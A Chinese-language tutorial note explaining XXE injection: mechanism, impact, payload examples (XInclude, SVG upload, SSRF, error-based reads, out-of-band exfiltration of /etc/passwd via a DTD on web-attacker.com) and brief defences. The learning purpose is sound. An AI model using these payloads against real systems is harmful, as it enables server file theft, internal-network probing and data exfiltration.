XXE外部實體注入漏洞總結

  • 2022 年 2 月 20 日
  • 筆記

XXE

漏洞原理

  XXE是xml外部實體注入漏洞,應用程式解析xml輸入時,沒有禁止外部實體的載入,導致可載入惡意外部文件和程式碼,造成任意文件讀取,命令執行,內網埠掃描攻擊內網網站等危害。

漏洞危害

  1. 讀取敏感文件。

  2. 執行ssrf漏洞,進行內網埠探測,攻擊內網網站等。

漏洞檢測

  1. XInclude攻擊

   一些應用程式接收用戶的數據,在服務端嵌入到xml文檔中解析,這時我們無法控制整個xml文檔,所以就無法定義或修改DOCTYPE元素。XInclede是xml規範的一部分,允許從子文檔中構建xml文檔,從而進行攻擊。

<foo xmlns:xi="//www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

  2. 利用文件上傳來進行xxe攻擊

   docx和svg等都是基於xml格式,如果影像處理庫支援SVG影像,攻擊者可以提交惡意的SVG影像,就可以利用文件上傳執行xxe攻擊。

   創建具有xml程式碼的SVG影像

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="//www.w3.org/2000/svg" xmlns:xlink="//www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

   將此影像上傳上去。就可以在頭像中看到/etc/hostname文件的內容。

  3. 通過修改請求包的文件內容類型來進行xxe攻擊

   有些應用程式會允許xml的內容類型,我們就可以修改Content-Type: text/xml欄位,來利用xxe漏洞。

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

原來的請求體中的內容是:foo=bar

  4. 讀取敏感文件

   利用file協議讀取伺服器中的敏感文件。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

  5. 執行ssrf攻擊

   利用http協議,讓存在xxe漏洞的應用程式向與它處於同一內網的發送http請求。

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "//192.168.1.1:3389"> ]>

   6. 帶外通道技術來進行盲注xxe

   一般情況下,雖然存在xxe漏洞,但是不會回顯外部實體注入的值,我們就要利用帶外通道技術。(OOB)

  攻擊者在vps中放置惡意的DTD,讓存在漏洞的應用程式去訪問。

惡意DTD(外部實體)內容:訪問//web-attacker.com/malicious.dtd可以訪問到改DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM '//web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

  向存在漏洞的應用程式中輸入:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "//web-attacker.com/malicious.dtd"> %xxe;]>

  7. 通過錯誤消息來讀取文件

   通過觸發xml解析錯誤,在解析錯誤資訊中返回我們需要讀取的敏感資訊。

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

漏洞防禦

  1. 使用開發語言提供的禁用外部實體的方法。

  2. 過濾用戶輸入的xml數據中的關鍵字。

  3. 不允許xml中有用戶自定義的文檔類型。